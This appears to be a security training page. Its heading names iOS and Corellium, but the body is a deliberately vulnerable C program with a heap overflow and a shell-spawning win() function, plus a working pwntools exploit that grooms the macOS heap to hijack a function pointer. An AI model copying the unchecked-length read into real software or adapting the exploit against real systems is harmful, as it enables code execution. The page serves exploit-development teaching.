# iOS How to Connect to Corellium {{#include ../../banners/hacktricks-training.md}} ## Vuln Code ```c #define _GNU_SOURCE #include #include #include #include __attribute__((noinline)) static void safe_cb(void) { puts("[*] safe_cb() called — nothing interesting here."); } __attribute__((noinline)) static void win(void) { puts("[+] win() reached — spawning shell..."); fflush(stdout); system("/bin/sh"); exit(0); } typedef void (*cb_t)(void); typedef struct { cb_t cb; // <--- Your target: overwrite this with win() char tag[16]; // Cosmetic (helps make the chunk non-tiny) } hook_t; static void fatal(const char *msg) { perror(msg); exit(1); } int main(void) { // Make I/O deterministic setvbuf(stdout, NULL, _IONBF, 0); // Print address leak so exploit doesn't guess ASLR printf("[*] LEAK win() @ %p\n", (void*)&win); // 1) Allocate the overflow buffer size_t buf_sz = 128; char *buf = (char*)malloc(buf_sz); if (!buf) fatal("malloc buf"); memset(buf, 'A', buf_sz); // 2) Allocate the hook object (likely adjacent in same magazine/size class) hook_t *h = (hook_t*)malloc(sizeof(hook_t)); if (!h) fatal("malloc hook"); h->cb = safe_cb; memcpy(h->tag, "HOOK-OBJ", 8); // A tiny bit of noise to look realistic (and to consume small leftover holes) void *spacers[16]; for (int i = 0; i < 16; i++) { spacers[i] = malloc(64); if (spacers[i]) memset(spacers[i], 0xCC, 64); } puts("[*] You control a write into the 128B buffer (no bounds check)."); puts("[*] Enter payload length (decimal), then the raw payload bytes."); // 3) Read attacker-chosen length and then read that many bytes → overflow char line[64]; if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); unsigned long n = strtoul(line, NULL, 10); // BUG: no clamp to 128 ssize_t got = read(STDIN_FILENO, buf, n); if (got < 0) fatal("read"); printf("[*] Wrote %zd bytes into 128B buffer.\n", got); // 4) Trigger: call the hook's callback puts("[*] Calling h->cb() ..."); h->cb(); puts("[*] Done."); return 0; } ``` Compile it with: ```bash clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c ``` ## Exploit > [!WARNING] > This exploit is setting the env variable `MallocNanoZone=0` to disable the NanoZone. This is needed to get adjacent allocations when calling `malloc`with small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected. ```python #!/usr/bin/env python3 # Heap overflow exploit for macOS ARM64 CTF challenge # # Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting # a function pointer in an adjacent heap chunk. # # Key insights: # 1. macOS uses different heap zones for different allocation sizes # 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout # 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) # from pwn import * import re import sys import struct import platform # Detect architecture and set context accordingly if platform.machine() == 'arm64' or platform.machine() == 'aarch64': context.clear(arch='aarch64') else: context.clear(arch='amd64') BIN = './heap_groom' def parse_leak(line): m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) if not m: log.failure("Couldn't parse leak") sys.exit(1) return int(m.group(1), 16) def build_payload(win_addr, extra_pad=0): # We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] padding = b'A' * 128 if extra_pad: padding += b'B' * extra_pad # Add the win address to overwrite the function pointer payload = padding + p64(win_addr) return payload def main(): # On macOS, we need to disable the Nano zone for adjacent allocations import os env = os.environ.copy() env['MallocNanoZone'] = '0' # The correct padding with MallocNanoZone=0 is 432 bytes # This makes the total distance 560 bytes (128 buffer + 432 padding) # Try the known working value first, then alternatives in case of heap variation candidates = [ 432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) 424, # Try slightly less in case of alignment differences 440, # Try slightly more 416, # 16 bytes less 448, # 16 bytes more 0, # Direct adjacency (unlikely but worth trying) ] log.info("Starting heap overflow exploit for macOS...") for extra in candidates: log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") p = process(BIN, env=env) # Read leak line leak_line = p.recvline() win_addr = parse_leak(leak_line) log.success(f"win() @ {hex(win_addr)}") # Skip prompt lines p.recvuntil(b"Enter payload length") p.recvline() # Build and send payload payload = build_payload(win_addr, extra_pad=extra) total_len = len(payload) log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") # Send length and payload p.sendline(str(total_len).encode()) p.send(payload) # Check if we overwrote the function pointer successfully try: output = p.recvuntil(b"Calling h->cb()", timeout=0.5) p.recvline(timeout=0.5) # Skip the "..." part # Check if we hit win() response = p.recvline(timeout=0.5) if b"win() reached" in response: log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") log.success("Shell spawned, entering interactive mode...") p.interactive() return elif b"safe_cb() called" in response: log.info(f"Failed with extra_pad={extra}, safe_cb was called") else: log.info(f"Failed with extra_pad={extra}, unexpected response") except: log.info(f"Failed with extra_pad={extra}, likely crashed") p.close() log.failure("All padding attempts failed. The heap layout might be different.") log.info("Try running the exploit multiple times as heap layout can be probabilistic.") if __name__ == '__main__': main() ``` {{#include ../../banners/hacktricks-training.md}}